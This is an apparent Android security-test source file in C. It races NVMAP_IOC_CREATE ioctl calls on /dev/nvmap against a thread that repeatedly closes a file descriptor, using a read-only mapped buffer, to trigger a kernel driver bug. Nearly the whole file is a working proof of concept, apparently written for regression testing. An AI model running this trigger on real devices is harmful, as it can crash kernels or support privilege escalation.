1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <stdlib.h>
18 #include <errno.h>
19 #include <unistd.h>
20 #include <stdio.h>
21 #include <dirent.h>
22 #include <string.h>
23 #include <sys/stat.h>
24 #include <sys/ioctl.h>
25 #include <stdio.h>
26 #include <string.h>
27 #include <dlfcn.h>
28 #include <sys/time.h>
29 #include <sys/mman.h>
30 #include <sys/syscall.h>
31 #include <sys/resource.h>
32 #include <fcntl.h>
33 #include <pthread.h>
34 #include <unistd.h>
35 #include <sched.h>
36 
37 #define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
38 #define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
39 #define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
40 #define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
41 
42 #define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
43 
44 /* allocation flags */
45 #define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
46 #define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
47 #define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
48 #define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
49 #define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
50 
51 #define NVMAP_HANDLE_SECURE          (0x1ul << 2)
52 #define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
53 #define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
54 #define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
55 #define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
56 #define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
57 
58 struct nvmap_handle_param {
59 	__u32 handle;		/* nvmap handle */
60 	__u32 param;		/* size/align/base/heap etc. */
61 	unsigned long result;	/* returns requested info*/
62 };
63 
64 struct nvmap_create_handle {
65 	union {
66 		__u32 id;	/* FromId */
67 		__u32 size;	/* CreateHandle */
68 		__s32 fd;	/* DmaBufFd or FromFd */
69 	};
70 	__u32 handle;		/* returns nvmap handle */
71 };
72 
73 struct nvmap_alloc_handle {
74 	__u32 handle;		/* nvmap handle */
75 	__u32 heap_mask;	/* heaps to allocate from */
76 	__u32 flags;		/* wb/wc/uc/iwb etc. */
77 	__u32 align;		/* min alignment necessary */
78 };
79 
80 #define NVMAP_IOC_MAGIC 'N'
81 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
82 #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
83 #define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
84 #define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
85 #define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
86 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
87 #define NVMAP_IOC_FROM_FD _IOWR(NVMAP_IOC_MAGIC, 16, struct nvmap_create_handle)
88 int g_fd = -1;
89 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
90 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
91 struct nvmap_create_handle* g_allocation = NULL;
92 struct nvmap_create_handle g_allocation_dup;
93 
open_driver()94 int open_driver() {
95     char* dev_path = "/dev/nvmap";
96     g_fd = open(dev_path, O_RDWR);
97     if (g_fd < 0) {
98         printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
99     } else {
100         printf("[*] open file(%s) succ!\n", dev_path);
101     }
102     return g_fd;
103 }
104 
trigger_nvmap_create()105 void trigger_nvmap_create() {
106     ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
107 }
108 
trigger_nvmap_create_dup(int fd)109 void trigger_nvmap_create_dup(int fd) {
110     g_allocation_dup.fd = fd;
111     ioctl(g_fd, NVMAP_IOC_FROM_FD, &g_allocation_dup);
112 }
113 
trigger_nvmap_alloc()114 void trigger_nvmap_alloc() {
115     struct nvmap_alloc_handle alloc = {0};
116     alloc.align = 0x1000;
117     alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
118     alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
119     alloc.handle = g_allocation->handle;
120     ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
121 }
122 
trigger_nvmap_free(int fd)123 void trigger_nvmap_free(int fd) {
124     ioctl(g_fd, NVMAP_IOC_FREE, fd);
125 }
126 
setup_privi_and_affinity(int privi,unsigned long cpu_mask)127 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
128     setpriority(PRIO_PROCESS, gettid(), privi);
129 
130     /* bind process to a CPU*/
131     if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
132     }
133 }
134 
prepare_data()135 void prepare_data() {
136     void* data = (void *) memalign(0x1000, 4 * 0x1000);
137     //void* data = malloc(0x10000);
138     printf("[*] data = %p\n", data);
139     g_allocation = (struct nvmap_create_handle*)data;
140     g_allocation->size = 1024;
141     g_allocation->handle = -1;
142     mprotect(data, 0x1000, PROT_READ);
143     printf("[*] mprotect, error = %d\n", errno);
144 }
145 
race_thread(void * arg)146 void* race_thread(void* arg) {
147     setup_privi_and_affinity(-10, 2);
148 
149     pthread_mutex_lock(&mutex);
150     pthread_cond_wait(&cond, &mutex);
151     pthread_mutex_unlock(&mutex);
152 
153     while (1)
154         close(1024);
155 }
156 
main(int argc,char ** argv)157 int main(int argc, char**argv) {
158 
159     setup_privi_and_affinity(-10, 1);
160 
161     if (open_driver() < 0) {
162         return -1;
163     }
164     prepare_data();
165 
166     pthread_t tid;
167     pthread_create(&tid, NULL, race_thread, NULL);
168     usleep(100 * 1000);
169 
170     pthread_cond_signal(&cond);
171     usleep(20);
172     while (1) {
173         trigger_nvmap_create();
174     }
175     return 0;
176 }
177